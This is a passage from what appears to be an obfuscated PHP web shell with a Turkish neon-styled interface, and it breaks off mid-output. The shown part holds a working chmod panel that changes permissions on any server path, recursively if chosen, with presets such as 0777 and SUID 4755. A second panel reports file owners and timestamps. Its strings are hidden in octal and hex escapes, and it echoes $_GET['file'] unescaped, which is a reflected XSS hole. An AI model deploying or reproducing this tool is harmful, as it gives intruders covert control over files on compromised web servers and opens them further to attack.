padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .chmod-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseChmod 3s ease-in-out infinite; } @keyframes iconPulseChmod { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .chmod-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .chmod-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } /* ===== FORM ELEMENTS ===== */ .chmod-form { display: flex; flex-direction: column; gap: 10px; } .chmod-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .chmod-form input, .chmod-form select, .chmod-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .chmod-form input:focus, .chmod-form select:focus, .chmod-form textarea:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .chmod-form input::placeholder, .chmod-form textarea::placeholder { color: rgba(180, 150, 255, 0.25); } .chmod-form select option { background: #1a0033; color: #d4bfff; } /* ===== NEON BUTTONS ===== */ .btn-neon-chmod { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; } .btn-neon-chmod:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); } .btn-neon-chmod:active { transform: scale(0.95); } .btn-neon-chmod.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon-chmod.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-neon-chmod.danger { background: linear-gradient(135deg, rgba(255, 0, 68, 0.2), rgba(255, 0, 170, 0.1)); border-color: rgba(255, 0, 68, 0.3); } .btn-neon-chmod.danger:hover { border-color: rgba(255, 0, 68, 0.6); box-shadow: 0 0 30px rgba(255, 0, 68, 0.15); } .btn-neon-chmod.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon-chmod.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon-chmod.small { padding: 6px 14px; font-size: 10px; } .btn-neon-chmod.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon-chmod.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-group-chmod { display: flex; gap: 8px; flex-wrap: wrap; } /* ===== PERMISSION VISUALIZER ===== */ .permission-visual { background: rgba(0, 0, 0, 0.5); border-radius: 8px; padding: 15px; margin-top: 10px; border: 1px solid rgba(179, 0, 255, 0.08); } .permission-visual .perm-row { display: flex; align-items: center; gap: 10px; padding: 4px 0; font-size: 12px; color: #c4b0e6; } .permission-visual .perm-row .label { width: 60px; color: rgba(180, 150, 255, 0.5); font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; } .permission-visual .perm-row .bits { display: flex; gap: 3px; font-family: monospace; } .permission-visual .perm-row .bits span { padding: 2px 8px; border-radius: 3px; font-size: 11px; font-weight: 700; transition: all 0.2s ease; } .permission-visual .perm-row .bits span:hover { transform: scale(1.1); } .permission-visual .perm-row .bits .r { color: var(--neon-yesil); background: rgba(0, 255, 136, 0.1); } .permission-visual .perm-row .bits .w { color: var(--neon-sari); background: rgba(255, 215, 0, 0.1); } .permission-visual .perm-row .bits .x { color: var(--neon-mavi); background: rgba(0, 212, 255, 0.1); } .permission-visual .perm-row .bits .dash { color: rgba(180, 150, 255, 0.15); } /* ===== CHMOD OUTPUT ===== */ .chmod-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 350px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .chmod-output::before { content: '▼ TERMINAL OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .chmod-output::-webkit-scrollbar { width: 4px; } .chmod-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .chmod-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .chmod-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .chmod-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .chmod-output .output-line:last-child { border-bottom: none; } .chmod-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .chmod-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .chmod-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .chmod-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .chmod-output .output-line .highlight { color: var(--neon-pembe); text-shadow: 0 0 10px rgba(255, 0, 170, 0.15); } .chmod-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } /* ===== PROGRESS BAR ===== */ .progress-container { margin: 10px 0; } .progress-container .progress-bar { width: 100%; height: 3px; background: rgba(179, 0, 255, 0.05); border-radius: 2px; overflow: hidden; } .progress-container .progress-bar .fill { height: 100%; background: linear-gradient(90deg, var(--neon-mor), var(--neon-pembe), var(--neon-mavi)); border-radius: 2px; transition: width 0.5s ease; box-shadow: 0 0 10px rgba(179, 0, 255, 0.2); } .progress-container .progress-text { font-size: 10px; color: rgba(180, 150, 255, 0.3); margin-top: 4px; text-align: center; letter-spacing: 1px; } /* ===== TOGGLE SWITCH ===== */ .toggle-switch-chmod { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch-chmod input { opacity: 0; width: 0; height: 0; } .toggle-slider-chmod { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider-chmod:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch-chmod input:checked + .toggle-slider-chmod { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } .toggle-switch-chmod input:checked + .toggle-slider-chmod:before { transform: translateX(16px); background: var(--neon-mor); box-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .toggle-label-chmod { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; cursor: pointer; transition: color 0.3s ease; } .toggle-label-chmod:hover { color: rgba(180, 150, 255, 0.8); } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .chmod-container { grid-template-columns: 1fr; gap: 15px; } .chmod-card { padding: 15px; } .chmod-form .input-group { flex-direction: column; } .btn-neon-chmod { width: 100%; justify-content: center; } .chmod-card .card-header h4 { font-size: 11px; } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowChmod { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .chmod-card { animation: pulseGlowChmod 3s ease-in-out infinite; } @keyframes slideInChmod { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .chmod-output { animation: slideInChmod 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .chmod-card { animation: fadeInUp 0.5s ease forwards; } .chmod-card:nth-child(1) { animation-delay: 0.05s; } .chmod-card:nth-child(2) { animation-delay: 0.1s; } .chmod-card:nth-child(3) { animation-delay: 0.15s; } .chmod-card:nth-child(4) { animation-delay: 0.2s; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-chmod"></canvas> <div class="chmod-wrapper"> <div class="chmod-container"> <!-- ============================================================ --> <!-- 1. CHMOD İŞLEMLERİ - ANA --> <!-- ============================================================ --> <div class="chmod-card"> <div class="card-header"> <i class="fas fa-lock"></i> <h4>🔑 Chmod İşlemleri</h4> <span class="badge">Dosya/Dizin</span> </div> <form method="POST" class="chmod-form"> <div class="input-group"> <input type="text" name="chmod_file" placeholder="Dosya/Dizin yolu" value="<?php echo getcwd() . "\57" . (isset($_GET["\x66\151\x6c\x65"]) ? $_GET["\x66\x69\154\145"] : ''); ?> "> <button type="button" class="btn-neon-chmod small primary" onclick="document.querySelector('input[name=chmod_file]').value = '<?php echo getcwd(); ?> '"> <i class="fas fa-folder"></i> CWD </button> <button type="button" class="btn-neon-chmod small primary" onclick="document.querySelector('input[name=chmod_file]').value = '/var/www/html'"> <i class="fas fa-globe"></i> WWW </button> </div> <div class="input-group"> <input type="text" name="chmod_perms" placeholder="İzin (örn: 0755)" value="0755" id="chmod_perms_input"> <select name="chmod_preset" id="chmod_preset" style="max-width:170px;"> <option value="">📋 Hazır İzinler</option> <option value="0644">0644 - Dosya (rw-r--r--)</option> <option value="0755">0755 - Dizin (rwxr-xr-x)</option> <option value="0777">0777 - Herkese Açık</option> <option value="0600">0600 - Sadece Sahip</option> <option value="0700">0700 - Sahip Tam</option> <option value="0666">0666 - Herkes Yazabilir</option> <option value="0750">0750 - Grup</option> <option value="2770">2770 - SGID</option> <option value="4755">4755 - SUID</option> <option value="1700">1700 - Sticky Bit</option> </select> </div> <div class="input-group"> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_recursive" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_verbose" value="1" checked> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-list"></i> Detaylı </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_symlink" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-link"></i> Symlink </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_dry_run" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-flask"></i> Kuru Çalıştır </label> </div> <div class="btn-group-chmod"> <button type="submit" name="chmod_action" value="chmod" class="btn-neon-chmod"> <i class="fas fa-save"></i> Uygula </button> <button type="submit" name="chmod_action" value="chmod_advanced" class="btn-neon-chmod warning"> <i class="fas fa-cogs"></i> Gelişmiş </button> <button type="reset" class="btn-neon-chmod small primary"> <i class="fas fa-undo"></i> Temizle </button> </div> </form> <?php if (isset($_POST["\143\150\x6d\x6f\x64\137\141\x63\x74\x69\x6f\156"]) && ($_POST["\143\x68\155\x6f\x64\137\141\x63\164\x69\157\156"] == "\143\150\x6d\157\x64" || $_POST["\143\x68\x6d\157\x64\x5f\141\143\x74\151\x6f\156"] == "\143\150\155\x6f\144\137\x61\144\x76\141\x6e\143\145\144")) { $file = $_POST["\x63\150\155\157\x64\137\x66\151\x6c\145"]; $perms = octdec($_POST["\143\x68\155\x6f\x64\137\x70\x65\x72\x6d\163"]); $recursive = isset($_POST["\x63\150\x6d\157\144\137\x72\145\x63\165\162\163\x69\x76\145"]); $verbose = isset($_POST["\x63\150\x6d\x6f\144\137\x76\145\162\x62\x6f\163\145"]); $symlink = isset($_POST["\143\x68\155\157\144\x5f\163\171\155\x6c\151\x6e\x6b"]); $dry_run = isset($_POST["\143\150\x6d\157\144\137\x64\x72\x79\x5f\162\165\x6e"]); $is_dir = is_dir($file); $exists = file_exists($file); echo "\74\x64\151\166\40\143\154\141\163\x73\x3d\x22\143\150\x6d\x6f\144\x2d\157\165\x74\x70\165\x74\x22\x3e"; echo "\x3c\x64\x69\x76\x20\x63\154\x61\x73\163\75\x22\157\165\164\160\165\164\x2d\x6c\151\156\145\42\x3e\x3c\163\x70\x61\x6e\x20\x63\x6c\141\x73\x73\75\42\x69\156\x66\x6f\42\76\xf0\x9f\x94\247\x20\xc4\xb0\305\x9f\154\x65\x6d\x20\x62\x61\305\237\x6c\x61\x74\304\261\x6c\xc4\261\x79\x6f\162\x2e\x2e\56\74\57\163\160\x61\156\x3e\x3c\x2f\x64\x69\166\76"; echo "\x3c\x64\x69\x76\x20\143\154\x61\x73\163\x3d\x22\x6f\165\x74\160\165\164\x2d\154\x69\156\145\42\x3e\x3c\163\x70\141\156\x20\x63\x6c\141\x73\163\x3d\x22\x64\151\x6d\42\x3e\xf0\237\x93\x82\x20\x59\157\154\72\x20" . htmlspecialchars($file) . "\x3c\x2f\x73\160\141\156\x3e\x3c\57\x64\151\x76\x3e"; echo "\74\144\x69\x76\x20\x63\x6c\x61\x73\163\75\42\x6f\x75\x74\160\165\164\x2d\154\151\x6e\x65\x22\76\74\x73\x70\141\x6e\40\143\154\x61\163\163\x3d\42\x64\x69\x6d\x22\76\xf0\x9f\x94\xa2\x20\xc4\xb0\x7a\x69\x6e\x3a\40" . $_POST["\x63\150\x6d\x6f\144\137\x70\145\x72\155\163"] . "\40\x28" . decoct($perms) . "\x29\74\x2f\x73\x70\141\x6e\x3e\x3c\x2f\x64\151\x76\x3e"; if ($dry_run) { echo "\x3c\144\151\166\40\143\154\x61\x73\163\x3d\x22\157\165\164\x70\x75\x74\55\x6c\x69\x6e\145\42\76\74\x73\160\x61\156\40\x63\154\x61\x73\x73\75\42\167\141\x72\156\42\x3e\360\x9f\xa7\252\x20\x4b\x55\x52\125\40\xc3\x87\101\114\x49\305\x9e\124\x49\x52\x4d\x41\x20\115\x4f\104\125\40\x2d\x20\x48\151\xc3\247\x62\151\162\40\144\145\xc4\x9f\x69\305\x9f\151\153\154\151\153\x20\x79\x61\160\304\xb1\154\155\x61\171\x61\143\x61\153\74\x2f\163\x70\x61\x6e\76\x3c\57\144\151\166\x3e"; } if (!$exists) { echo "\74\144\151\x76\40\x63\154\141\163\163\x3d\x22\157\165\164\x70\165\164\55\x6c\151\x6e\x65\42\x3e\74\x73\x70\x61\156\40\143\154\x61\x73\x73\75\42\145\162\x72\x6f\162\x22\76\342\x9d\x8c\40\104\157\163\x79\141\57\104\x69\x7a\x69\156\x20\142\165\x6c\x75\156\141\155\141\144\304\261\41\x3c\x2f\163\x70\x61\x6e\76\74\57\x64\x69\166\x3e"; } elseif ($is_dir && $recursive) { echo "\74\144\x69\x76\40\x63\154\141\x73\163\75\x22\157\165\164\160\165\164\x2d\154\x69\x6e\x65\42\76\74\163\160\x61\156\x20\x63\x6c\x61\163\163\75\42\167\141\162\156\x22\x3e\360\x9f\224\204\x20\x52\x65\143\x75\x72\x73\x69\166\x65\40\155\x6f\144\x20\141\x6b\164\151\146\x3c\57\x73\x70\141\156\x3e\x3c\57\144\151\x76\76"; $count = 0; $errors = 0; $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); $total_items = iterator_count($iter); $current = 0; foreach ($iter as $f) { $current++; $progress = round($current / $total_items * 100); echo "\74\144\151\166\40\x63\154\141\x73\x73\x3d\42\x70\162\157\147\x72\x65\x73\163\x2d\x63\157\156\164\x61\x69\156\x65\162\42\x3e\74\x64\151\x76\40\x63\154\141\x73\x73\75\x22\x70\x72\157\x67\x72\x65\163\163\x2d\x62\x61\x72\42\76\x3c\x64\x69\x76\40\143\154\141\163\x73\75\x22\x66\151\x6c\154\42\40\x73\x74\171\x6c\145\75\x22\167\151\144\164\150\x3a" . $progress . "\45\42\76\74\57\x64\x69\166\76\x3c\57\x64\x69\166\76\x3c\57\x64\x69\x76\76"; if ($symlink && is_link($f)) { continue; } if (!$dry_run) { if (@chmod($f, $perms)) { $count++; if ($verbose) { $type = is_dir($f) ? "\xf0\x9f\223\201" : "\360\x9f\223\x84"; echo "\x3c\x64\x69\166\x20\143\154\141\x73\x73\75\42\x6f\165\164\160\165\x74\55\154\151\x6e\x65\42\76\x3c\163\160\141\x6e\x20\143\x6c\x61\163\x73\75\42\x73\x75\143\143\145\163\x73\x22\x3e\342\x9c\x85\74\57\163\x70\x61\x6e\x3e\x20" . $type . "\40" . htmlspecialchars($f->getPathname()) . "\74\57\144\151\x76\x3e"; } } else { $errors++; if ($verbose) { echo "\74\x64\x69\166\x20\143\x6c\141\163\x73\x3d\x22\157\165\x74\160\x75\164\x2d\154\x69\156\145\x22\76\x3c\x73\160\x61\x6e\x20\143\154\141\163\163\x3d\x22\x65\x72\162\157\x72\42\x3e\342\x9d\x8c\74\57\x73\160\141\x6e\x3e\x20" . htmlspecialchars($f->getPathname()) . "\74\57\x64\x69\x76\x3e"; } } } else { $count++; $type = is_dir($f) ? "\360\237\x93\x81" : "\xf0\237\x93\x84"; echo "\x3c\x64\x69\x76\40\x63\x6c\141\163\163\75\x22\157\x75\x74\160\165\x74\55\154\151\x6e\x65\42\x3e\74\x73\x70\x61\x6e\40\x63\154\x61\x73\163\75\42\x69\x6e\146\157\42\x3e\xf0\x9f\224\x8d\74\57\163\x70\141\x6e\x3e\x20" . $type . "\40" . htmlspecialchars($f->getPathname()) . "\40\74\x73\x70\141\x6e\x20\143\154\x61\163\x73\75\x22\144\x69\x6d\x22\x3e\x28\153\x75\162\165\51\74\x2f\163\x70\141\156\76\74\57\144\151\x76\76"; } } if (!$dry_run && @chmod($file, $perms)) { $count++; } echo "\74\x64\151\166\x20\x63\x6c\x61\163\163\x3d\x22\157\x75\x74\x70\x75\164\x2d\x6c\x69\156\x65\x22\40\163\x74\x79\154\145\75\42\142\157\x72\x64\145\162\x2d\164\x6f\x70\72\61\x70\x78\40\x73\157\x6c\151\144\x20\162\147\x62\141\x28\x31\67\x39\54\x30\54\62\x35\65\54\x30\x2e\x31\x29\73\155\141\x72\147\x69\156\x2d\164\157\x70\72\x35\160\170\x3b\x70\141\x64\144\x69\156\147\x2d\x74\x6f\x70\72\65\x70\170\x3b\42\76"; if ($dry_run) { echo "\74\x73\160\141\156\x20\x63\x6c\141\163\163\75\42\x69\x6e\146\x6f\42\76\360\237\xa7\xaa\40\x4b\x75\162\165\x20\xc3\xa7\141\x6c\304\261\305\x9f\x74\304\261\162\x6d\x61\x20\164\x61\x6d\141\x6d\154\x61\x6e\x64\xc4\xb1\41\40" . $count . "\x20\xc3\266\xc4\x9f\x65\40\151\xc5\237\x6c\x65\x6e\145\143\x65\153\74\x2f\163\x70\x61\x6e\76"; } else { echo "\x3c\163\x70\x61\x6e\x20\143\154\x61\x73\x73\x3d\42\163\x75\143\143\145\163\163\42\x3e\xe2\234\205\x20\xc4\260\305\237\x6c\145\155\x20\164\141\155\141\x6d\x6c\x61\156\144\xc4\261\x21\x3c\x2f\x73\160\x61\156\76\40"; echo "\74\x73\160\x61\156\40\143\x6c\141\163\x73\75\x22\144\151\155\42\x3e" . $count . "\x20\x64\x6f\163\171\141\57\144\x69\x7a\151\156\40\147\303\xbc\156\143\145\x6c\x6c\x65\x6e\x64\x69\54\40" . $errors . "\x20\150\141\x74\x61\x3c\57\163\160\x61\x6e\76"; } echo "\74\57\144\x69\166\x3e"; } else { if (!$dry_run) { if (@chmod($file, $perms)) { $old_perms = decoct(fileperms($file) & 511); echo "\74\x64\151\166\40\143\x6c\x61\x73\x73\x3d\42\x6f\165\164\160\x75\164\x2d\154\151\x6e\x65\42\x3e\74\x73\160\141\156\x20\143\154\141\163\x73\75\x22\x73\165\143\x63\145\163\163\42\x3e\xe2\234\x85\x20\103\x68\x6d\x6f\x64\x20\142\x61\xc5\237\141\x72\xc4\261\154\xc4\261\x21\x3c\x2f\163\x70\141\156\76\x3c\x2f\144\151\x76\x3e"; echo "\x3c\144\x69\x76\40\x63\154\141\163\x73\x3d\42\157\165\164\x70\x75\x74\x2d\x6c\151\x6e\145\x22\x3e\x3c\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\42\144\x69\x6d\42\76\x45\163\x6b\151\40\151\x7a\x69\156\72\40" . $old_perms . "\x20\342\206\x92\x20\x59\x65\x6e\x69\x20\x69\x7a\151\x6e\x3a\x20" . $_POST["\143\x68\155\157\x64\x5f\x70\x65\162\155\163"] . "\74\x2f\163\160\x61\156\x3e\74\x2f\x64\x69\166\76"; $type = is_dir($file) ? "\xf0\x9f\x93\201\x20\104\151\x7a\x69\156" : "\xf0\x9f\223\204\x20\104\x6f\x73\x79\x61"; echo "\74\144\151\x76\40\143\154\141\x73\x73\75\x22\157\x75\164\x70\165\164\x2d\x6c\151\x6e\145\42\76\x3c\x73\160\x61\156\x20\143\154\141\163\x73\x3d\42\x64\151\155\42\76\124\xc3\274\x72\72\x20" . $type . "\74\x2f\x73\x70\141\156\x3e\x3c\57\x64\x69\x76\x3e"; if (function_exists("\160\157\163\151\170\x5f\147\145\164\160\x77\x75\x69\x64")) { $owner = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); echo "\74\144\x69\166\x20\x63\154\x61\163\163\x3d\42\x6f\x75\164\160\x75\x74\x2d\154\x69\156\145\42\76\x3c\x73\x70\x61\156\40\x63\154\141\163\163\x3d\x22\x64\151\x6d\42\x3e\x53\x61\x68\x69\160\72\x20" . ($owner["\156\x61\x6d\x65"] ?? "\116\57\x41") . "\72" . ($group["\x6e\141\155\145"] ?? "\116\x2f\x41") . "\74\57\163\160\141\x6e\76\74\57\x64\x69\x76\76"; } } else { echo "\74\x64\x69\x76\40\143\154\141\163\x73\x3d\x22\x6f\165\x74\x70\165\x74\55\x6c\151\156\x65\42\76\74\163\160\141\156\40\143\x6c\141\x73\x73\x3d\42\x65\x72\x72\157\x72\42\76\342\235\x8c\40\103\150\155\157\x64\40\142\141\305\237\141\x72\xc4\261\x73\xc4\261\172\x21\40\x59\x65\164\x6b\151\40\171\145\x74\145\162\163\151\x7a\x20\x76\145\171\141\x20\x64\157\163\171\141\40\142\165\154\x75\x6e\x61\155\141\x64\xc4\xb1\56\74\x2f\x73\x70\141\156\76\74\57\144\x69\166\x3e"; } } else { echo "\x3c\144\151\x76\x20\143\154\x61\x73\x73\x3d\42\x6f\165\164\x70\x75\164\55\154\151\156\x65\42\x3e\x3c\163\x70\141\156\x20\x63\x6c\x61\x73\163\75\42\x69\x6e\x66\157\x22\x3e\xf0\x9f\x94\x8d\x20\x4b\165\x72\165\x20\303\xa7\x61\154\xc4\261\xc5\237\164\304\xb1\x72\155\141\72\40" . $file . "\40\74\163\160\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\42\144\x69\155\42\76\x28\144\x65\xc4\x9f\151\305\x9f\151\x6b\154\x69\153\40\x79\x61\x70\xc4\261\154\155\x61\x79\141\x63\x61\153\x29\74\x2f\x73\x70\x61\156\x3e\x3c\57\x73\x70\x61\156\x3e\74\57\x64\151\x76\x3e"; } } echo "\74\x2f\x64\151\166\76"; } ?> </div> <!-- ============================================================ --> <!-- 2. PERMISSION ANALYZER --> <!-- ============================================================ --> <div class="chmod-card"> <div class="card-header"> <i class="fas fa-chart-pie"></i> <h4>📊 Permission Analyzer</h4> <span class="badge">Görsel</span> </div> <form method="POST" class="chmod-form"> <div class="input-group"> <input type="text" name="analyze_file" placeholder="Analiz edilecek dosya/dizin" value="<?php echo getcwd() . "\x2f" . (isset($_GET["\146\151\x6c\145"]) ? $_GET["\146\x69\154\x65"] : ''); ?> "> <button type="submit" name="chmod_action" value="analyze" class="btn-neon-chmod small"> <i class="fas fa-search"></i> Analiz </button> <button type="button" class="btn-neon-chmod small primary" onclick="document.querySelector('input[name=analyze_file]').value = '<?php echo getcwd(); ?> '"> <i class="fas fa-folder"></i> </button> </div> <div class="input-group"> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="analyze_recursive" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-folder-open"></i> Recursive Analiz </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="analyze_owner" value="1" checked> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-user"></i> Sahip Bilgisi </label> </div> </form> <?php if (isset($_POST["\x63\150\x6d\157\144\137\x61\143\x74\151\x6f\x6e"]) && $_POST["\143\150\155\157\x64\x5f\141\x63\164\x69\157\x6e"] == "\141\x6e\x61\154\171\172\x65") { $analyze_file = $_POST["\x61\x6e\141\154\x79\x7a\145\137\146\x69\x6c\145"]; $recursive_analyze = isset($_POST["\x61\x6e\141\x6c\x79\x7a\x65\x5f\x72\x65\x63\165\162\x73\151\x76\145"]); $show_owner = isset($_POST["\x61\x6e\x61\154\x79\172\x65\137\157\167\156\145\162"]); if (file_exists($analyze_file)) { $perms = fileperms($analyze_file); $perm_oct = decoct($perms & 511); $perm_bits = str_pad(decbin($perms & 511), 9, "\x30", STR_PAD_LEFT); $is_dir = is_dir($analyze_file); $is_link = is_link($analyze_file); $is_readable = is_readable($analyze_file); $is_writable = is_writable($analyze_file); $is_executable = is_executable($analyze_file); $size = filesize($analyze_file); $owner = function_exists("\160\x6f\x73\x69\x78\x5f\147\x65\x74\x70\x77\x75\x69\x64") ? posix_getpwuid(fileowner($analyze_file))["\156\141\155\x65"] : fileowner($analyze_file); $group = function_exists("\x70\x6f\163\x69\170\137\147\x65\164\147\162\x67\x69\x64") ? posix_getgrgid(filegroup($analyze_file))["\156\141\x6d\x65"] : filegroup($analyze_file); $modified = date("\x59\x2d\155\x2d\x64\40\x48\x3a\x69\72\x73", filemtime($analyze_file)); $accessed = date("\x59\55\x6d\x2d\144\40\110\72\x69\72\163", fileatime($analyze_file)); $created = date("\131\55\155\x2d\144\x20\x48\72\151\x3a\163", filectime($analyze_file)); echo "\74\x64\151\x76\40\143\x6c\x61\x73\163\x3d\x22\143\x68\x6d\x6f\x64\x2d\x6f\165\x74\x70\x75\x74\x22\x3e"; echo "\74\x64\151\166\40\x63\x6c\x61\x73\163\x3d\42\157\x75\x74\160\165\164\55\154\151\x6e\x65\42\x3e\74\163\x70\141\x6e\x20\x63\154\141\163\163\75\x22\151\156\x66\x6f\42\76\360\237\x93\x8a\40\101\156\141\x6c\151\x7a\72\40" . htmlspecialchars($analyze_file) . "\x3c\57\x73\x70\141\156\76\x3c\57\x64\x69\166\x3e"; echo "\74\x64\151\166\40\143\154\141\x73\163\75\x22\157\165\164\x70\x75\x74\x2d\154\x69\x6e\x65\42\x3e\74\163\160\x61\x6e\x20\143\x6c\141\163\x73\x3d\x22\144\x69\x6d\x22\76\xf0\237\223\201\40\124\xc3\274\x72\x3a\40" . ($is_dir ? "\104\x69\172\x69\x6e" : ($is_link ? "\x53\145\155\x62\157\x6c\x69\153\40\x4c\x69\x6e\153" : "\x44\157\163\x79\x61")) . "\x3c\57\x73\x70\141\156\x3e\74\57\144\151\166\76"; echo "\x3c\x64\151\x76\x20\143\154\x61\163\x73\75\x22\157\165\x74\160\x75\164\55\x6c\x69\x6e\145\x22\76\74\163\x70\141\156\x20\x63\154\x61\163\x73\75\x22\144\151\x6d\42\76\xf0\237\224\xa2\40\xc4\xb0\172\x69\156\40\x28\117\x63\x74\141\154\x29\72\x20" . $perm_oct . "\74\x2f\x73\x70\x61\x6e\76\74\57\x64\x69\166\x3e"; echo "\x3c\x64\x69\x76\40\143\154\x61\163\x73\x3d\x22\x6f\x75\164\160\x75\164\x2d\154\x69\x6e\145\x22\76\74\x73\160\x61\x6e\40\143\x6c\141\x73\163\x3d\42\144\x69\155\42\x3e\xf0\237\224\xa2\40\304\260\x7a\151\156\40\x28\x42\x69\x6e\141\162\171\51\72\x20" . $perm_bits . "\74\x2f\x73\x70\x61\156\x3e\x3c\x2f\x64\x69\166\x3e"; echo "\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\x22\x70\145\x72\x6d\151\x73\163\151\157\x6e\x2d\166\x69\x73\x75\141\x6c\42\76"; echo 